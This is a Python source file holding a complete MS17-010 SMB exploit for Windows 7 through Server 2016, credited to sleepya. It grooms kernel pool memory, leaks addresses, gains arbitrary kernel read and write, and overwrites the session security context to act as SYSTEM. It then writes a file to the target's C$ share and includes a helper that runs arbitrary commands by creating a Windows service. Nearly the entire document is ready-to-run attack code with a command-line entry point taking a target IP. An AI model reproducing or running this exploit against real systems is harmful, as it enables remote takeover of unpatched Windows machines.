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- #!/usr/bin/python
- from impacket import smb, smbconnection
- from mysmb import MYSMB
- from struct import pack, unpack, unpack_from
- import sys
- import socket
- import time
- '''
- MS17-010 exploit for Windows 7+ by sleepya
- Note:
- - The exploit should never crash a target (chance should be nearly 0%)
- - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
- Tested on:
- - Windows 2016 x64
- - Windows 2012 R2 x64
- - Windows 8.1 x64
- - Windows 2008 R2 SP1 x64
- - Windows 7 SP1 x64
- - Windows 8.1 x86
- - Windows 7 SP1 x86
- '''
- USERNAME = ''
- PASSWORD = ''
- '''
- Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
- win7 x64
- struct SrvSecContext {
- DWORD xx1; // second WORD is size
- DWORD refCnt;
- PACCESS_TOKEN Token; // 0x08
- DWORD xx2;
- BOOLEAN CopyOnOpen; // 0x14
- BOOLEAN EffectiveOnly;
- WORD xx3;
- DWORD ImpersonationLevel; // 0x18
- DWORD xx4;
- BOOLEAN UsePsImpersonateClient; // 0x20
- }
- win2012 x64
- struct SrvSecContext {
- DWORD xx1; // second WORD is size
- DWORD refCnt;
- QWORD xx2;
- QWORD xx3;
- PACCESS_TOKEN Token; // 0x18
- DWORD xx4;
- BOOLEAN CopyOnOpen; // 0x24
- BOOLEAN EffectiveOnly;
- WORD xx3;
- DWORD ImpersonationLevel; // 0x28
- DWORD xx4;
- BOOLEAN UsePsImpersonateClient; // 0x30
- }
- SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
- It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
- From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
- PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
- STATUS_SUCCESS when Token is NULL.
- If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
- to do all SMB operations.
- Note: fake Token might be possible, but NULL token is much easier.
- '''
- WIN7_INFO = {
- 'SESSION_SECCTX_OFFSET': 0xa0,
- 'SESSION_ISNULL_OFFSET': 0xba,
- 'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
- 'SECCTX_SIZE': 0x28,
- }
- WIN7_32_INFO = {
- 'SESSION_SECCTX_OFFSET': 0x80,
- 'SESSION_ISNULL_OFFSET': 0x96,
- 'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
- 'SECCTX_SIZE': 0x1c,
- }
- # win8+ info
- WIN8_INFO = {
- 'SESSION_SECCTX_OFFSET': 0xb0,
- 'SESSION_ISNULL_OFFSET': 0xca,
- 'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
- 'SECCTX_SIZE': 0x38,
- }
- WIN8_32_INFO = {
- 'SESSION_SECCTX_OFFSET': 0x88,
- 'SESSION_ISNULL_OFFSET': 0x9e,
- 'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
- 'SECCTX_SIZE': 0x24,
- }
- X86_INFO = {
- 'PTR_SIZE' : 4,
- 'PTR_FMT' : 'I',
- 'FRAG_TAG_OFFSET' : 12,
- 'POOL_ALIGN' : 8,
- 'SRV_BUFHDR_SIZE' : 8,
- 'TRANS_SIZE' : 0xa0, # struct size
- 'TRANS_FLINK_OFFSET' : 0x18,
- 'TRANS_INPARAM_OFFSET' : 0x40,
- 'TRANS_OUTPARAM_OFFSET' : 0x44,
- 'TRANS_INDATA_OFFSET' : 0x48,
- 'TRANS_OUTDATA_OFFSET' : 0x4c,
- 'TRANS_FUNCTION_OFFSET' : 0x72,
- 'TRANS_MID_OFFSET' : 0x80,
- }
- X64_INFO = {
- 'PTR_SIZE' : 8,
- 'PTR_FMT' : 'Q',
- 'FRAG_TAG_OFFSET' : 0x14,
- 'POOL_ALIGN' : 0x10,
- 'SRV_BUFHDR_SIZE' : 0x10,
- 'TRANS_SIZE' : 0xf8, # struct size
- 'TRANS_FLINK_OFFSET' : 0x28,
- 'TRANS_INPARAM_OFFSET' : 0x70,
- 'TRANS_OUTPARAM_OFFSET' : 0x78,
- 'TRANS_INDATA_OFFSET' : 0x80,
- 'TRANS_OUTDATA_OFFSET' : 0x88,
- 'TRANS_FUNCTION_OFFSET' : 0xb2,
- 'TRANS_MID_OFFSET' : 0xc0,
- }
- def wait_for_request_processed(conn):
- #time.sleep(0.05)
- # send echo is faster than sleep(0.05) when connection is very good
- conn.send_echo('a')
- special_mid = 0
- extra_last_mid = 0
- def reset_extra_mid(conn):
- global extra_last_mid, special_mid
- special_mid = (conn.next_mid() & 0xff00) - 0x100
- extra_last_mid = special_mid
- def next_extra_mid():
- global extra_last_mid
- extra_last_mid += 1
- return extra_last_mid
- # Borrow 'groom' and 'bride' word from NSA tool
- # GROOM_TRANS_SIZE includes transaction name, parameters and data
- GROOM_TRANS_SIZE = 0x5010
- def calc_alloc_size(size, align_size):
- return (size + align_size - 1) & ~(align_size-1)
- def leak_frag_size(conn, tid, fid, info):
- # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
- # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
- # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
- # From the leak info, we can determine the target architecture too.
- mid = conn.next_mid()
- req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4)
- req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
- conn.send_raw(req1[:-8])
- conn.send_raw(req1[-8:]+req2)
- leakData = conn.recv_transaction_data(mid, 0x10d0+276)
- leakData = leakData[0x10d4:] # skip parameters and its own input
- if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
- print('Target is 32 bit')
- if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']:
- info.update(WIN7_32_INFO)
- elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']:
- info.update(WIN8_32_INFO)
- else:
- print('The exploit does not support this 32 bit target')
- sys.exit()
- info.update(X86_INFO)
- elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
- print('Target is 64 bit')
- info.update(X64_INFO)
- else:
- print('Not found Frag pool tag in leak data')
- sys.exit()
- # Calculate frag pool size
- info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
- print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
- # groom: srv buffer header
- info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
- print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
- # groom paramters and data is alignment by 8 because it is NT_TRANS
- info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4)
- # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
- bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
- info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
- print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
- # bride paramters and data is alignment by 4 because it is TRANS
- info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4)
- return info['FRAG_POOL_SIZE']
- def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
- trans_param = pack('<HH', fid, 0) # param for NT_RENAME
- # fill large pagedpool holes (maybe no need)
- for i in range(numFill):
- conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
- mid_ntrename = conn.next_mid()
- req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
- req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
- req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
- reqs = []
- for i in range(12):
- mid = next_extra_mid()
- reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
- conn.send_raw(req1[:-8])
- conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
- # expected transactions alignment ("Frag" pool is not shown)
- #
- # | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
- # +-------------------------------+----------------+-------------------------------+----------------+
- # | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
- # +-------------------------------+----------------+-------------------------------+----------------+
- #
- # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
- # From leaked transaction, we get
- # - leaked transaction address from InParameter or InData
- # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
- # With these information, we can verify the transaction aligment from displacement.
- leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
- leakData = leakData[0x10d4:] # skip parameters and its own input
- #open('leak.dat', 'wb').write(leakData)
- if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
- print('Not found Frag pool tag in leak data')
- return None
- # ================================
- # verify leak data
- # ================================
- leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
- # check pool tag and size value in buffer header
- expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
- leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
- if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
- print('No transaction struct in leak data')
- return None
- leakTrans = leakData[leakTransOffset:]
- ptrf = info['PTR_FMT']
- _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
- inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
- leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
- print('CONNECTION: 0x{:x}'.format(connection_addr))
- print('SESSION: 0x{:x}'.format(session_addr))
- print('FLINK: 0x{:x}'.format(flink_value))
- print('InParam: 0x{:x}'.format(inparam_value))
- print('MID: 0x{:x}'.format(leak_mid))
- next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
- if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
- print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
- return None
- # trans1: leak transaction
- # trans2: next transaction
- return {
- 'connection': connection_addr,
- 'session': session_addr,
- 'next_page_addr': next_page_addr,
- 'trans1_mid': leak_mid,
- 'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4,
- 'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
- 'special_mid': special_mid,
- }
- def read_data(conn, info, read_addr, read_size):
- fmt = info['PTR_FMT']
- # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
- # modify trans2.*ParameterCount and trans2.*DataCount to limit data
- new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData
- new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount
- new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount
- new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
- new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
- conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
- # create one more transaction before leaking data
- # - next transaction can be used for arbitrary read/write after the current trans2 is done
- # - next transaction address is from TransactionListEntry.Flink value
- conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
- # finish the trans2 to leak
- conn.send_nt_trans_secondary(mid=info['trans2_mid'])
- read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
- # set new trans2 address
- info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
- # set trans1.InData to &trans2
- conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
- wait_for_request_processed(conn)
- # modify trans2 mid
- conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
- wait_for_request_processed(conn)
- return read_data[8:] # no need to return parameter
- def write_data(conn, info, write_addr, write_data):
- # trans2.InData
- conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
- wait_for_request_processed(conn)
- # write data
- conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
- wait_for_request_processed(conn)
- def exploit(target, pipe_name):
- conn = MYSMB(target)
- # set NODELAY to make exploit much faster
- conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
- info = {}
- conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
- server_os = conn.get_server_os()
- print('Target OS: '+server_os)
- if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
- info.update(WIN7_INFO)
- elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
- info.update(WIN8_INFO)
- else:
- print('This exploit does not support this target')
- sys.exit()
- # ================================
- # try align pagedpool and leak info until satisfy
- # ================================
- leakInfo = None
- # max attempt: 10
- for i in range(10):
- tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
- conn.set_default_tid(tid)
- # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
- fid = conn.nt_create_andx(tid, pipe_name)
- if 'FRAG_POOL_SIZE' not in info:
- leak_frag_size(conn, tid, fid, info)
- reset_extra_mid(conn)
- leakInfo = align_transaction_and_leak(conn, tid, fid, info)
- if leakInfo is not None:
- break
- print('leak failed... try again')
- conn.close(tid, fid)
- conn.disconnect_tree(tid)
- if leakInfo is None:
- return False
- info['fid'] = fid
- info.update(leakInfo)
- # ================================
- # shift trans1.Indata ptr with SmbWriteAndX
- # ================================
- shift_indata_byte = 0x200
- conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
- # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
- # So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
- # maxParameterCount (0x1000), trans name (4), param (4)
- indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
- indata_next_trans_displacement = info['trans2_addr'] - indata_value
- conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
- wait_for_request_processed(conn)
- # if the overwritten is correct, a modified transaction mid should be special_mid now.
- # a new transaction with special_mid should be error.
- recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
- if recvPkt.getNTStatus() != 0x10002: # invalid SMB
- print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
- print('!!! Write to wrong place !!!')
- print('the target might be crashed')
- sys.exit()
- print('success controlling groom transaction')
- # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
- # but this method make the transation never get freed
- # I will avoid memory leak
- # ================================
- # modify trans1 struct to be used for arbitrary read/write
- # ================================
- print('modify trans1 struct for arbitrary read/write')
- fmt = info['PTR_FMT']
- # modify trans_special.InData to &trans1
- conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
- wait_for_request_processed(conn)
- # modify
- # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
- # - trans1.InData to &trans2. so we can modify trans2 easily
- conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
- wait_for_request_processed(conn)
- # modify trans2.mid
- info['trans2_mid'] = conn.next_mid()
- conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
- # Now, read_data() and write_data() can be used for arbitrary read and write.
- # ================================
- # Modify this SMB session to be SYSTEM
- # ================================
- # Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this
- # method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.
- print('make this SMB session to be SYSTEM')
- # IsNullSession = 0, IsAdmin = 1
- write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
- # read session struct to get SecurityContext address
- sessionData = read_data(conn, info, info['session'], 0x100)
- secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
- # copy SecurityContext for restoration
- secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
- print('overwriting session security context')
- # see FAKE_SECCTX detail at top of the file
- write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
- # ================================
- # do whatever we want as SYSTEM over this SMB connection
- # ================================
- try:
- smb_pwn(conn)
- except:
- pass
- # restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
- write_data(conn, info, secCtxAddr, secCtxData)
- conn.disconnect_tree(tid)
- conn.logoff()
- conn.get_socket().close()
- return True
- def smb_pwn(conn):
- smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True)
- print('creating file c:\\pwned.txt on the target')
- tid2 = smbConn.connectTree('C$')
- fid2 = smbConn.createFile(tid2, '/pwned.txt')
- smbConn.closeFile(tid2, fid2)
- smbConn.disconnectTree(tid2)
- #service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
- # based on impacket/examples/serviceinstall.py
- def service_exec(smbConn, cmd):
- import random
- import string
- from impacket.dcerpc.v5 import transport, srvs, scmr
- service_name = ''.join([random.choice(string.letters) for i in range(4)])
- # Setup up a DCE SMBTransport with the connection already in place
- rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn)
- rpcsvc = rpctransport.get_dce_rpc()
- rpcsvc.connect()
- rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
- svnHandle = None
- try:
- print("Opening SVCManager on %s....." % smbConn.getRemoteHost())
- resp = scmr.hROpenSCManagerW(rpcsvc)
- svcHandle = resp['lpScHandle']
- # First we try to open the service in case it exists. If it does, we remove it.
- try:
- resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
- except Exception, e:
- if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
- raise e # Unexpected error
- else:
- # It exists, remove it
- scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
- scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
- print('Creating service %s.....' % service_name)
- resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
- serviceHandle = resp['lpServiceHandle']
- if serviceHandle:
- # Start service
- try:
- print('Starting service %s.....' % service_name)
- scmr.hRStartServiceW(rpcsvc, serviceHandle)
- # is it really need to stop?
- # using command line always makes starting service fail because SetServiceStatus() does not get called
- print('Stoping service %s.....' % service_name)
- scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
- except Exception, e:
- print(str(e))
- print('Removing service %s.....' % service_name)
- scmr.hRDeleteService(rpcsvc, serviceHandle)
- scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
- except Exception, e:
- print("ServiceExec Error on: %s" % smbConn.getRemoteHost())
- print(str(e))
- finally:
- if svcHandle:
- scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
- rpcsvc.disconnect()
- if len(sys.argv) != 3:
- print("{} <ip> <pipe_name>".format(sys.argv[0]))
- sys.exit(1)
- target = sys.argv[1]
- pipe_name = sys.argv[2]
- exploit(target, pipe_name)
- print('Done')
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